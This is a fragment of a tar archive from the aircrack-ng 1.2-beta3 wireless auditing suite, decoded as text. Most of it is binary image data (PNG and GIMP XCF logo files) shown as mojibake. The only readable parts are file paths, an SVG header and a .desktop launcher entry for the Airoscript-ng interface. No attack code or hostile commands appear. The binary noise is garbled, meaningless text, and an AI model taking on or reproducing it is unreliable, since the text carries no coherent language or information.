ÒÅ‘³ý)üŸÂ<©J=ÑgüdY®Ç¢ÌÝø›"ó%àØ˜¾K0;ÆÚLÑY‡ýšs2õÔaÖ½<:Æ:\Œ òùñ¹ëX°¼V‰Ú|–ÿÀ91Õ½³)É1IjÐD/ž¸Õb]³®¶vÄ{ï²ÆB¨u*9)n±Ì¶J§àì™ý¤k$%¨)SáE]ýÖåoÚþC¤ÆLÅjZ¨Mß³e3-t¢Ìµ LÑøÚT›º“ŸßKuýTSJÀð>ïs/Ì:"ªw»Ûÿ3€÷zvSüx%ð–?Ï6Ì6ðú!Àvg¬œÛ—öøœ,Ælú2ÛÇ1™¼L6ùq1|öâï¡È\O›§úÓÕµ$×wú(Ÿ~ÙõÊ^YåÇ>ˆýÂÛiŸm'Éôì¦în>&xû{÷¢-Haž ÿ ³{­_}ÀÛcló,& ó9Ìë0œüûì”›||ö1S%mMn. ñä1\‡Ù”ÀF“ýèh7Ô_ÁLÓŸâçÜи÷Ì”ú°Ù좶º”Ääfü?¬Ì`Ö.ý%æASXc΀¿c²¶)±»…‚]æÚ´ìXt;†êè·ÈÛ¿9üàÕÝýl(Ø­Ë5;_¢Ú7mÍVh±ÌZ»·¯5d†¥qØ×¢/<6”¬mÖÜ8’¥âL~ v+”š¿}™eÙÕ˜§<ÕNSCeWÜóÔpp¦û=ù+&;ËvG›FàLvÝ·‰ƒ oL@Û¿“ùtZ€ïY Ý€ýâÞcÀ>ê0¼Ùçqä1;þ8$ÀöIaq ø¨¿kx®poPDüºXåŽ A^<ÏÃïîŽ àýîÁ¬w…n‹2ÏUW’]là}ÎÅd¿ÍýMê·ïÌ Ÿ ð}Cº¿·P&˜ÝBͿƙJYÆ*)Ï­¿¨a,’Æs€G‡¼Ÿß[ dSá†~ñt;eÇ®lµ.lëCå4¿ÝÚI—5Òd1Exå`tcÊþíÞë·v2ë­M6:Vû‘5/ƒæ&+ÂÆb’»ôR§øùÊù8þ°Û-ˆ÷2F¤˜øï~qêS0ÙYÛÜ@ÏÇÜ ÆC€.Lð,íþgp0fºçG0k€lÃds½È'ÜãMŠƒÜãý3&ðoûägfý»5nÐÈOFܯ°›’µ«k1ÓÏü:Õ ü¸µ=®Àa¦­þÄýß~<ŽÉÐ ó»^íãJ5ýIÐêŽÃk0ÙaË,ß'<Ïý­3í4ˆ Ù^à| ª]Û¶Z”y> æVe×ʵþ] «ž[ .ãºø2&KôÃØgíÏÀ¬¯ûfÀ~ÕÐY³¾NmؽÇ-cYæç½­µº¸=Ã#-¶r0Ï‘mÞ̧֭+ìß\à×ôÚP¨ãÏÛ[xA—·ëÌM£uT»ÁRšþR†Ö¬·µ‰¹¹þR4³¥oñ\¦ä¤X5]pm¿Nï9Œ«'»™ïŸ(Ífp/ ø}óÀÉî+n¿Áï’èyî«l»Û}­soj{1ÁÈ&L6à<÷æ{?Lê‚Ûµõë½Ï;€Ãñ¿~Z 8Ë}õb²ênÃÊÇd¸ bž ¶»¯Nà@à÷ó °} naPÆ„`6&Pþ>`pf±ôݾÞãŽYw<˜Y3p_LæÖñØ?DïbñRLTÖ[Þ“_|ø5&¸8€Ù@¢³€û\ÌÒ‡»ãƒÖi“ ]üð†€Þoð?˜‡fb–l¸Ëýí[çþ »×ZÍnÿÞÛýÍ;ÉíãÙjkD» —Æ/ä-ïšáœçàÚÒÖtd“&V æ(;ñxÙsh[øÁ5€¿lofßæQOÙ|+ò51B<4繓²ÞÓ×Àýý Ñ|ñRŽÕôà5#9ÏÙœ¶š² 2Þw[}d šÍ¦èÔPyö«’ó0Ó0O¨ÁãûfêU%áõlsÏÃy1}þ_0kÇaÔ=Ž{¼ÙoÇLm9'ÆsôfÌTe‘°à¾^s=ތɒíºn˜‡Eÿ¥î#1y+°<àk©&Ãÿàˆ¯ c Ì…²[hÉŠk ÞoÔç¥{­v`´1RIóÔˆ÷L¢ý› Ök‚yQ!Å·×w²}lrYÕ›G³ÜÖÓT£Ã¶¶0\ž\_WÈñó§Û#«Û¡­òï¡¡ûû£ |.ïÌö¾ª8ðØ`¸Á5ÕDäÙ~Ž1ÙA÷ÔØq݈ ƌ꫼;à÷\¼ª‘6úð}uñ`K•×ÿÝÀ7cøÜ‡Õu¤ŠKÏ#ÚLÏ0n_ׇ§“Þ:6 Ëç*£Ìmoˆ¬Žw÷zÿ¬lÊáè¶h®×†Êi¾·¡sÂÍúK~º©Ãj¶DÞiUÒüdS;£dzmÍòÝõ”œè¶q8®Óû¹/;)îí‹®_<×ûÚsëFê.O¦ÿµæâD«2îþ¯¯)Ì&"ÿúì—ö—9ž«1kuèÔN胘i'A»x Õܼ‚äN+–ä:Žhv× ãæú=Àbúüñ¿ö£H\¶¹×Rk«´þï#ÆI‰®íË0`±Ö>³;#«ãCy«ÀÌQíä"Šçl­ã «§³b0Oe·¥;*<2XÏ×Lg}¡®¦F‡•ƒy¾²v:kGrÏÃŒURÜÙÛÈ—ÖtÑWÊDV§9õEä½oºñøPŽ‘Jt_Ù}[ŠžË<20¹þ3¹ Q&¡‚ˆÈ®ú1k¯ý°Êã3˜µ±X›ØUÀçC|ÿ¿¸ç¢P¥ís9fªˆWO`ÖB«¦©ÄÌ4úÏÇX‡"ÑOE Ò̺gÕ`+¯þ_œ•°œ‹Z‰pëš‘¶x»¦YÖ4Ì_#ªßH%Í#ƒõžë8-WæÀ–F4Õ¯¯”á;ë;iÊTXÚ8F '•bõpÎ*€Y-6ê¸|Ít¦åÊÌ«7A­¢“â‰áúÈÖ/ÛÕñv‹÷õG—µÖÐܾïÁ+#Zo PÒšˆŒwu)fjÎÇjzj4¼ø‘Nã¤üxE¿¿so4~̬’¶©ï%¾ì© ›1 | ´J²§1;;ßž€º|¸XÝGªØ÷»ÿÌ&I¶ó즸+bQq?;f»¯I&¨¬³XwmáÈjê›Ú"kÈ{ú­Ê:-ú ›†ÊiÈóÀ@öçk:°¶«chàVæc ¬µeËa±KèX%Ńn4qØ¢.rïÙuz]oÍï0""²gŸŽÅìLU nÇ윙ÄÀÚXëôsàÅÖíNàHàþ*èKÛ0ëÅ)°&A^ŽÉ€KhD2k7תëH•[É^ýy‚ëø{Ìæ)7%¡2þ64ˆèÞØjݵò0ËϬ!ꯧß"Hµ ?ÆÒF­S²NÖ ×YeíÛZŽììVHñ^»ìµÓ§êk;4g+Ón7%ôoÝ‘Õ3ÓØÊÁSìèËQq¼QèEdJÞ˜°€Cø°7&Ë®œà6üp8ð§˜ëñ0&ñ“1þŒrƒ w%è­Åìòv&f*ŸHŽÁŽúb®ËOeÀWÚV«—R½ë5ŠìêëÀþ˜L±8•1þ½oïáoR–ï뛿T˜ˆî~KNŠÇ‡ë=—[:úÙ–iÑ]yö6M>¸°‹}šFYÖ¤ìµZ÷üéÔ§½wõ…:«©Ñ¶–,YÊœÑ žËÝÙ“¡U^‘I{ ³ÙÁñÀ¯‰oK”‚{Ax ð:’“6‘ÀóW¹ÿ=J[Ý›ùCHN@ë>L€ílàÞ뱓¹³³Ã¬HØ*îÍí̺–QÙ®ÅÙ/Ƭ³–d·§b¦j‹T»õ˜L±ç¹};JeàJà`÷z`Ç8k3•*lôXÛòr[üØ ÷àÚôáuÌ\¼OdÇÓ[̰rÈ.Àð‘í*Ñ›VWâèöa«²ïiŠ´®Ï™e7µóžÞzËQÀö¥­BEÄÊmÀ9˜Œ‡Ïc¦úEáaLÆÓÌT†•UÚ~?öÞMø;‰= ¼ XèÞÌ'q*æo1Y}Ï~A4;¼:ÀõÀË€¥˜ÌeÇHÔºÿv¿Ÿï ñ³ݱç`LvæíUÔNŽ þŒ‘ ü88ø%á.Ñ0|ɽî¸À½.˜ˆÍÍl ëIZ/ä'_ĦìÊÁz^ê±L ‡ƒ;¢}¼zýöhö~}³ ?ÆÑíÃÜÞÓ¨¯k zé¬~2k­u3ü£7º]B3m‘Zã¹Üšá,[G3Ñ7lõ'®)¤^m :Ö¦'€÷¸¯£1ÓwNÂdG±Ãè&Ëê/îÅç#5Ô_ ˜Åò/ÎÀ,vþ ËçûV0ü ¨z ŠúÓŸÜW+fÇÂÓÙ½ÿL`ø˜ÝK7k\Ññ'Dfjûg1Ùœ§a¦¥|öù›«0;ŽTq­Ãdüœ¼“ù“Q×™ÒßÃZ8®›ÜW;f·Î³0³Ú}¾ïvL0ú7˜]Á½f¨Ø\à ô±ú¸3‰ûZgÿ|rwÇ;ŠY¶eéÊy{h¹_a%×·tRèŽfä©ã©áK½?Ÿ?}€ûú(Tô[^Köne¿f»Ê·v7Q‰pì³doöúƒçrwyžêøž6îhF¨ˆç÷Ð<³(ü÷µè& Þ½r/úv`Ö×Y < ܃™6X¬ñv«`Ö±»3â`Lס˜ŒªùÀ ·MÜ¿/¸7ÉÛ€M˜i&aJï­ò6é¾ç¾À¬ ó÷?—º¯. ÙíK;ÓÓ îkfªð&`&({?ð(Z A’ïükÃ.LvËþÀ>îk†Û÷›ÝûÐ!LfJ/fC—Çݾþww\¨µ>ÿg÷5³LÁ˜:s1ùL†î€Û.îkƒÛ6»ãÂãêj’ ½À·ÜWÚ½~:ÒýÝÛ˽Žjßåw/ãöë>÷7s#°xÐ}=Œ¿5К-Ê Ñ>·ö‹v¼[9˜çÄNo‹ÿÏé”y‹ÏaõƒwDVÏ¿îhfI£÷`^k¶Ì gôsÍæ6}EkD]Êá¼YvKQ —ÓÜÑí”ГgAfØûXvgoôë­éCDB2Üâ¾dò*˜€â}jŠó¸n„eŠÚ†YPk>Óþ=/RK×÷»¯¸Ø×Ùa2šÝBòè÷5þ{wdéUÖü»{zº§{º{¶Lö”D1@vJŠU*) (P ´ ËòƒÆ”Ta¡†EÙDY¬Á@ŒAˆ’ &a „A 3Ã$Ì>Óû6}û¾~è &sß{ûnóûu½•ÊLŸûžw9·æ<õœóTRä±­-Àµkn(ûË­(yê–yÅ zÈ ÏšÍYƒå¶ˆ¹ùøHK³F·ä‰%þý?_­ä»3J}…4T%´`à'¶”h3ÓŒ·¦Zh“ªˆþ`~cf«õwùQ‹wgpü¬–=Í"ɵ‡ËeŸU’¼âÜ©ŒôÛ¬½Û=bt9OßZ.>]íÏMÇF[Úß‹/¾$¿°ð½ºÛÝ:9œjQ)õÕMrn‰6“Í8q[«…Ö;»^-’ïÌÖ¿ülÇÜÞœÑÅ-½´Ý ƒùáÂÆRmÇVó’Ó†Eê_[Z6ïì¦c£Y)Z»÷ÞÓÏ®¥R"äuó‘¡¾šq@.,Ñæp3N\*¸Vmã”øë³õWÓ¬¤È“6·~Ü;3\w»M+3¹ü¢‰–?ÙëŒeaµÜmî¯yíù“ê³ÿZ·¸td9ÏÙ>[ºý=sCùî\ë3Á^´õh©v7m,î(NqD\ €Óò˜$—–hwo3NÞæÌµrÓã2Áµ$¹|Ã[~…ó«}ùÌ¡±ÒíÇVóⳆIØPilŸµ¥ÕJ®98Þò~ïÜ:–ËNÜSw»CËýùÎÌ`~ƒÐcÞX²Ý®fœ¼\pmõA3Û6ìC~ÿâ†91Pw»söä‚í­^Ü9½)ßi éIóÙ1X5T:ܯmYhè9]{x<ÇWú[Þï\<”¾bµîv_>:ÜÀ0n<÷¬Y ¹$É«K´;šd_3:ÐÖ̵²Óë"É­“å <ûìö©>u`"ó%—‡V’\0´b¸t¸ †Êï·k~¨¡ýùÊì+òüá{KÁëmòÐh·«“l,Ñî?›ÕÒÁµvU }Àצ6åD­þx­Ý›­V[þ¤gª}ùtKþd®u¾³J>£ÅZ_>±¼-}~á…•LÔê_v|ÇäÆì_hBÚýM@{e’+J¶ý|³:ÑPp­k}ùÖlýK-ûŠZžuN{zÿÍ™áÜ9].ÛgºÚoÈt¸©ϨHòÉýã¥*à6<ø+Éož=SîèðHgÜt±5€3Õ£“¼§dÛ¹$×6m~]®Ùj:!ãä«ÇËMðŸ4r,cí©Àù/ÆsÿÒ†ºÛýxyƒaÓáö—xF7Í·f‡ÛÒßgm_Ìξ¹ºÛZîϭǯhzÊJ¡§qÐI>“òEÖÃyI>—¤ì2°&™nVgÚ[-´ÁÛ¾¥Á(ÐÈjž²e¾-—¼RTò¡û·f¶zú·~÷Â`î_\ët·MnÊrK•wÍmÌ玌µ¥¯•$W^°TªíÙ”ZG· ‰këïƒY[zù·YËö:«Íýy\’Û“\X²ýj’¿kf‡Ê׊ÓüuÞ.é+“å²×ž±m!#ýíÉ^›\éÏ?ýxkªÅCbªE%×DèÓÕþÜptóiýîþå ùèþ­m R=uÛb.Z¬»]µ¨äúƒ œ!þ*Ékôÿ/Nò?I^Ÿµ¼Vû½$_Mr~ŸñI¾×ÌN5–¹v2@ös—neý·!ÿÚäp&Wê߯jce5ÏÝ>Û¶·s÷Â`þ~ß©3ØæWûò¾}Ûòã%YkÝâÆc£¹îðØ)—->ðì—V+méc¥Èë.*÷îßpx8GOØÿà ðÆ$ú3þ|"Éû“Ü•äE-êË£²VÝóIFøœ™$ojvç ®5'HÖØ'ÔRÉWJî½öä- ™hCåÐüpacÞ¶ç¬|þÈæ{PÀb¦ÚŸ/ÍÕ{vd÷ áÜen<6šwïÛž»¦‡³r2;±ÈZPí“&òÞ}ÛÛRÀàÏ9k1ç Õ_Ù´V$×mqo~x^6'Àº¹2É;âwŸäº$ÿäUI6®C?™äcI¾ä×›ðyW%9ÜìN´÷Y5gz|ÛÔHž³c.Ã}õ-ó¨yÞöÙ|âÀDÛîÀlµ/_8º9_8Íå„t‡Ý ƒkÑýÕ¯}E^u~¹¬µ[eßÂ@“ÇQú› hâw@):ôzÆ3³Ð:Ý„¬'d­@À;’|*kÅnJ²RòüÛ²–÷;IžÖÄëº>ÉûÖ㆕ž)wÒ”v©VÉÍÇFò¼õ .ŸXÈíS›²wQ†½ïçÏfÇÆÕRãýã÷5?ÜPÕÏf®/ I›ä³)—…¶-ÉNóIîÈZá{’ìI²/ÉìÉ¿K’ÍY[âya’_ÌÚÒÏgd-#®Ù8&yÝzÝ´ÒPš1³mÞÌø«“#yæÖ¹ õ×÷™•$WìœÉ»ön7O§§3´š—ž[®J{¡Ãöþ3`šé¢$ŸO2Þ„ÏÉZÜ3;àºf’¼ ë°ô}½ò̯öåKÇËíuÑð‰>zÊê›§òâ3¨Nô¤§l[Ê“·.•jûåcùw^ÅZ€öñ¬-Íì%3I®HrãzŸ¨¯—îÚR­’Jé¯åegONôœñ µüÑ%S¥Ú®•|¨C³Öhš?HòµºžÝIžœä?Zq²¾^{nŸÚ”É•þRm·y1]2¤è)¯½p&ãÊeeÞpxS.õ¯K¿Övmlä§ CšbO’§&ùë$ݾ¬ïß“\žä»­:aéàZ§Ni«E%×)ŸisåÙÓê³<”Þð+ãËyþÎrû ÎW+ùؾÑué×)Ë¡u4C5ÉUIž”ä®.ìÿ¡$/OòI޵òÄ-Ê\kí¬ø®éá|onc©¶VóÛçNRt½-ƒµ\uéd*%Ûä¾±_é_¿¯„ZË:ÏYËüzc’ã]Ðß•$ïOòÈ$ŸlG®ýßñ©ZŸtrÝá±ÔJžà±›—òÄ ÕCé^•$xÉT&J.Ý·0ënZÇ6þ °njIÞäâ$oJgÙN$ù@’‡'ùý$“íêH¹àZ5?U-4eŽu´yCn)ÝþegOç‚áÉ®ôòóçò”­å÷|ïžñ¬7àÌ6“ä/²dû“$?è€>NòެÕ^ŸäGíîP_/¿Ÿ;¼93Õr—8P)òÚóŽg¤ßþkt—Ë&–óš fJ·¿ùèp¾>½±åý®;>/m  Uf’¼-É¥Iž•äãIZ¹§ÖJ’Ï&¹"ÉyIþ8ɾN¹9=\[¬õå_N”n¿eÃj^}Þdú%ðÐ%ÎZÍŸ]:™¾’ïìôJ_Þ³g¼E½=ÝÅ㪀ÿÕcC¹éèpk;]´¹=Ͳ”ä¶“Ç¥¡•¢ÁŸV™­öåŸ÷oi茿uÎt†úì¿FgzÜØr^°s¾tûCËý¹ú‡Ý—)¶@»5\+NýW¶mÒ®¹¹e²|õбվKvÍ=ôFîÇWúóÙCcÞ:Ö|µ’wížÈÊC,ñ,’üÃÞ±|ñÈpGM‹Bè%ƒèd >IDATkÕµ©m—o—T-*ùà}[ó•É‘Ÿ»ºlïâ`Þ¹wG¦Vú½-t´[åª{¶ezågëÅÕJÞúý-ùôþю鳀ݮüýM˜wÂDº–J®98žæñ›³}°š$Y¬õåì³Ï]äÛ3ƒyÅ;sù–å<~b9ý)’J%ßžÌmLJ²¸Zé¡«Š ýJ×zmZ;µÒŸ›Žz#èz+E%·Ê-LJz誊žÿ ; 4Ò¸áÉ­Ù1œÁþßBТDsh³öžÞìÎhEcm‹¢æÐVM ®•Ÿ!/--¥V3A†3ɉ'.` 4@'h,¸V46½½ì²_Íðð°§gšJ%\p¡û@×k ¸ÖxÞÈ›ßò–¦_l–v*ºúãu¨Wùj¡§XÉ)Ðn‚\ÞM Jת' T<”¢+?ºËï ½þtøxŠ轉²¸z¸ûôð»_xwè- ® rõp÷éÑwß{ §Ö`p­è¹Ù¸`B/ëÞ(”÷:ScÁµušñ $ô:A. 7” ®­&é/ºZáãT:sMp£Y¹ºÕ€[ðA.êÓÁ5•èͯºŽÍ:äã É:W ä —5\<àLÖW®Ùª;À¯Ï-€rÊ- ­ Ë'Nô¿ýq¶¨I%Yr'h§JÙv¿{Õ›ŸQi¸Ú(@yE5‡?ø7o¾Ûh¥ÿ/7¤£ eè¿IEND®B`‚aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/goodies/airoscript.svg0000644000000000000000000023013111776654501024633 0ustar rootroot image/svg+xml apps Kris Thomsen aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/goodies/airoscript-ng.desktop0000644000000000000000000000041111776654501026103 0ustar rootroot[Desktop Entry] Version=1.0 Type=Application Encoding=UTF-8 Name=Airoscript-ng Comment=Aircrack-ng TUI GenericName=Airoscript-ng Exec=su-to-root -X -c "airoscript-ng" Icon=airoscript-ng StartupNotify=true Terminal=true MimeType=text/plain Categories=System;Monitor aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/goodies/airoscriptlogo.xcf0000644000000000000000000007615311776654501025511 0ustar rootrootgimp xcf fileëªB´B´gimp-image-grid(style solid) (fgcolor (color-rgba 0.000000 0.000000 0.000000 1.000000)) (bgcolor (color-rgba 1.000000 1.000000 1.000000 1.000000)) (xspacing 10.000000) (yspacing 10.000000) (spacing-unit inches) (xoffset 0.000000) (yoffset 0.000000) (offset-unit inches) ƒëªairoscript.svgÿ     Bëª^|S|_몚ÔII)&?—JØXüjXr¨sIu‰Cü€‡ˆ† †…øŠ‰‰¨×ââááàßúЉ£Òá áàßü’ˆäí-í ìý’‹ÿÿ*þý’‹þ<þý’‹þ<þý’‹þ)þýý’Šþ þ0ýý’Šý<ýý’Šý<ýý’Šý6ýüý’Šýý#üý’‰ü<üý’‰ü<üý’‰ü<üý’‰ü üø÷ý’‰üüûýô.ý’ˆû ûýô.ý’ˆû ûýôùFgv\2ý’ˆû ûýôý(©©ü§a ý’ˆû ûýôý(•©©þW ý’ˆú úýóý‹©©ý¢& ý’‡ú úýóþv©©þH ý’‡ú úýóþS© ©þ] ý’‡ú úýóý3¥© ©þH ý’‡úúùýòýŽ© ©ý¥( ý’‡ù ùýòþd© ©þ^ ý’‡ù ùýòý8¦© ©ý ý’‡ù ùýòý"–© ©ý  ý’‡ù ùýòþg© ©ý¡1ý’‡ø øýñý0¦© ©þJý’‡ø øýñþ„© ©þtým‡ø øýñþF© ©ý›%ým‡ø øýñ ý”©©ý¨@ým‡÷ ÷ýð þO© ©þuým‡÷ ÷ýð ý—©©ýž%ým‡÷ ÷ýð þU© ©þTým†÷ ÷ýð ý•©©ýým†÷ ÷üöï þL© ©þBým†ö öýï ý©©þƒým†ö öýï þC© ©þ:ým†ö öýï þ€©©þ„ým…ö öýï ý+§©©þ@ü/m…õ õýî þc©©þû‹m…õ õýîýš©©þNûb©m…õ õýîþG©©ý›ú4¦©m…õ õýîþy©©þjù‹©©m„õõôýíý"¥©©ý¦,þL©©ým„ô ôýíþM©©þ„ý–©©ým„ô ôýíþ€©©þSþ^©©ým„ô ôýíý!¦©©ý¢&ý% ©©ým„ô ôýíþF©©þ~þe©©ým‚ó óýìþp©©þLý#¡©©ým‚ó óýìþ˜©©ý #þ\©©ým‚ó óýìþ3©©þý™©©ým‚ó óýìþZ©©þ[þD©©ûm‚óóòòýëþ{©©ý¨.þ©©ýmò òýëþ›©©þ’ý'§©©ýmò òýëþ-©©þnþX©©ýmò òýë þN©©þIþ‹©©ýmñ ñýê þn©©ý¨%ý,¨©©ýmñ ñýê þŒ©©þ–þV©©Cü——–-– •ø•˜˜³Ùââááàßú›˜¯Ôá áàßü’˜æí-í ìý’›ÿÿ*þý’›þ<þý’›þ<þý’›þ<þý’›þ1þ ýý’šþþ(ýý’šý<ýý’šý<ýý’šý<ýý’šý3ýüý’™ýý&üý’™ü<üý’™ü ü0øý’™ü üýõ.ý’™ü üýõ.ý’™ü üýõú&04-!ý’˜û ûýôý7CCý. ý’˜û ûýôý=CCþ, ý’˜û ûýôý:CCýA ý’˜û ûýôþ4CCþ( ý’˜û ûýôþ+C Cþ- ý’—ú úýóý!BC Cþ( ý’—ú úýóý;C CýB ý’—ú úýóþ0C Cþ. ý’—ú úýóý"BC Cý7 ý’—ú úýóý=C Cý; ý’–ù ùýòþ0C CýA!ý’–ù ùýòý BC Cþ(ý’–ù ùýòþ9C Cþ4ý’–ù ùýòþ&C Cý?ý’–ù ùýò ý=C Cþ%ý’•ø øýñ þ)C Cþ4ý’•ø øýñ ý>CCý@ý’•ø øýñ þ+C Cþ+ý’•ø øýñ ý=CCý;ý’•ø øýñ þ(C Cþ&ý’•÷ ÷ýð þý’”÷ ÷ýð ýBCCþ'ü ’”÷ ÷ýð þ/CCþGù;’”÷÷ööýïý?CCþ7û/C’“ö öýïþ'CCýIú!BC’“ö öýïþ5CCþKú;CC’“ö öýïýBCCýE2þ(CCý’“ö öýïþ)CCþRý=CCý’“ööõýîþ7CCþLþ.CCý’“õ õýîýBCCýG1ýACC’ õýîþ'CCýUþ/CC’ õýîþ2CCþNýACC’ õýîþ>CCýG/þ-CC’õôýíþ!CCþSý?CC’ ôýíþ,CCþJþ&CCý’‘ô ôýíþ6CCþ1þ7CCý’‘ô ôýíþ?CCþLýBCCý’‘ô ôýíþ CCþHþ,CCý’‘ôôóýìþ)CCþ4þ:CCý’ó óýìþ2CCþþCCý’ó óýìþ:CCþDþ+CCCüŸžŸ7Ÿû·Úââááàßú¡Ÿ³Õá áàßü’ æí-í ìý’¡ÿÿ*þý’¡þ<þý’¡þ<þý’¡þ<þý’¡þ1þ ýý’¡þþ(ýý’ ý<ýý’ ý<ýý’ ý<ýý’ ý3ýüý’ ýý&üý’Ÿü<üý’Ÿü ü0øý’Ÿü üýöý’Ÿü üýö.ý’Ÿü üýöú ý’žû ûýôýý  ý’žû ûýôýþ ý’žû ûýôýý ý’žû ûýôþ þ ý’žû ûýôþ þ ý’žû ûýôý þ ý’ú úýóý ý ý’ú úýóþ þ ý’ú úýóþ ý ý’ú úýóý ý ý’ú úýóþ ýý’ù ùýòý þý’ù ùýòþ þ ý’ù ùýòþ ýý’ù ùýòþ þý’ù ùýò þ þ ý’ø øýñ ýýý’œø øýñ þ þý’œø øýñ þþý’œø øýñ þ þý’œø øýñ þþý’œ÷ ÷ýð þ þý’›÷ ÷ýð þþý’›÷ ÷ýð þ þü’›÷ ÷ýð þ þü’›÷ ÷ýð þþ)û ’›÷÷öýïþýú’›ö öýïþ þ8ú’šö öýïýý6þý’šö öýïþý1ýý’šö öýïþþHþý’šö öüõîýý 8ýý’šõ õýîþý;þ ý’šõ õýîþ þNýý’™õ õýîþý7þý’™õ õýîþý6þý’™õ õýîþþAþý’™ô ôýíþý3þý’™ô ôýíþýþý’˜ô ôýíþþ0þý’˜ô ôýíþþ&þý’˜ô ôýíþ ýþý’—ó óýìþþþCü„öÿ7ÿû—ø÷ÿ8ÿûzõøÿ:ÿýýÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿ??…ßÞ ÝßÞÝÜ&ìëhþý þëý üý üûü8û?÷6Cù7x•–z>7ý^§©©ý¨h5þ_©©þK3ýF¨©©þ˜3þ¡©©þ'2 ©þ32 ©ý¤2 ©þx3©ýŸ'3©ý§>4©þY5©þz6©ýŸ(6©þM7©þ„8©ý¨:8©þw9©ý¦-9©þs:©ý¨1-"©þ€÷_ž©© b©þDý"‹©©ý‰ü©™ý}©©þcý©dþ[©©ýŸ??•ßÞ ÝßÞÝÜ&ìë±þýþ ý üýëü4ø ÷,Cù#5>=5$7þ.CCþ15þ.CCþ(3ý'BCCþ>3þACCþ2 Cþ"2 CýB2 Cþ53Cý@3Cþ%4Cþ,5Cþ56Cý@6Cþ)7Cþ98Cþ#8Cþ59CýB9Cþ4:CýB!ý !Cþ7ù.@CCA/Cþ&ý;CCý:üC>ý6CCþ/ýC/þ,CCþ@?=œßÞ ÝßÞÝÜ&ìë±þýþ ý üýëü4ø ÷?Cù 7ýþ 5þ þ3þþ3þþ2 þ2 þ3 þ 3ý3ý4þ5þ6ý6þ7þ8þ8þ 9ý9þ :þý!þ÷  þýýýþþ ý þþ?Àÿ?þ…„=„ ÝÜÛÜÛÚþëê#êé èþëý üýëüþûüüûü½û-÷ö?yù/j„^7ýaÉÔÔþ²6ýLÓÔÔ6ý»ÔÔ6þ7ÔÔ6þRÔÔ6þ7ÔÔ6ýÁÔÔ7þTÔÔ8þ‰ÔÔ8ýžÔÔ9ý)½ÔÔ:ý@ÑÔÔ;þsÔÔ;û¯ÔÔ;ü6ÎÔ<ýsÔ<ý´=þI_ù2t’˜}E7ýS¥©©ýq4ý7§©©þu4þ€©©þ\3þž©©ý§@1ý¦©©ýš#1þ© ©þx1þa© ©þG0ý© ©ýš 0ý.Ÿ© ©þa1ýC¨©©ý¢(1þg© ©þs1ý“©©ý§21ý9¨©©þz2þo©©ý¨21ý)£©©þq2þa©©ý¥'1ý"œ©©þZ2þ\©©ý”ü"3 ý" ©©þ;ø7‹¨©¦†2þk©©þlýI¦©©ý¥Lý.¨©©ýý(Ÿ©©ý¥8þ…©©þ>þZ©©ý—"þP©©þj ?•%” ÝÜÛÜÛÚþëê2ê é-þýþýüý üûü,û?÷?yù!3>;07ý0PTTþJ6þ)TT7þLTT6þ#TT6þ+TT6þ#TT6ýNTT7þ,TT8þ=TT8ýCTT9ýMTT:ý&STT;þ6TT;ûITT;ü#RT<ý6T<ýJ=þ(_ù!4<>6&7ý*BCCý34þ"CCþ44þ7CCþ-3þ@CCýB%1ýBCCý?1þþ)CCþ1 ?%œ› ÝÜÛÜÛÚþëê2ê é-þýþýüý üûü,û?÷%yù 7ýþ6þ7þ6þ6þ6þ7þ7þ8þ 9þ9ý:ý;þ;û;ü<ý<ý=þ_ù 7ýý 4ýþ 4þþ3þþ1þ ý1þ þ 1þ þ0ý ý0ý þ 1þ ý1þ þ 1ý þ1þ þ 2þ þ1ýþ 2þ ý1ýþ2þþüýþýýþ þ þýþþýýþþþýþþ  ?Àÿ*„ ƒý‡‚Ú Ùù½‹‡„ÚÚÙØúÓ¨‡‡è&èü߃ý'ýýƒý'ýýƒýýüýƒü'üýƒü'üýƒü'üý‚üü ûý‚û'ûý‚û'ûý‚û'ûý‚û'ûýû ûúýöö úýþú úýþú úýþ ù ùü;þ ù ùû€É:þ ù ùú€Ô¿*þ ù ùù€ÔÔ«þ ùùøý€ÔÔþþ ø øý€ÔÔþSþ ø øý~ÔÔýÃ)þ ø øý~ÔÔþ—þ ø øý~ÔÔþ]þ ÷ ÷ý~ÔÔýÉ1þ ÷ ÷ý~ÔÔþœþ ÷ ÷ý}ÔÔþPþ ÷ ÷ý}ÔÔý» þ ÷÷öý}ÔÔþoþ ö öý}ÔÔýÊ(þ ö öý}ÔÔþ{þ ö öý|ÔÔýÌ, þ ö öý|Ô Ôþ„ þ õ õü|•ÔÔýÍ) þ õ õû|4ÑÔÔþw þ õ õû|…ÔÔýÈ$ þ õ õú{-ÎÔÔþk þ ô ôú{†ÔÔý» þ ô ôù{2ÒÔÔþL þ ô ôý{þ—ÔÔþ˜ þ ô ôý{ý>ÓÔÔýÑ- þ ô ôüózþ«ÔÔþn þ ó óýzþcÔÔþ¯ þ ó óýzý ÄÔÔþ:þ ó óýzþ‰ÔÔþwþ ó óýzý?ÓÔÔý»þ ò òýyý¶ÔÔþ:þ ò òýyþ}ÔÔþnþ ò òýyý:ÒÔÔþ¦þ ò òýyý²ÔÔýÐ$þ ñ ñýyþÔÔþWþ ñ ñýxþLÔÔþ‰þ ñ ñýxýÈÔÔþ¶þ ñ ñýxþšÔÔýÓ&ý ñð ðýxþgÔÔþOþ ð ðýxþ5ÔÔþyþ ð ðýwþÆÔÔþ¢þ ð ðýwþ¡ÔÔýÊþ ð ðþw*$”ý—”Ú 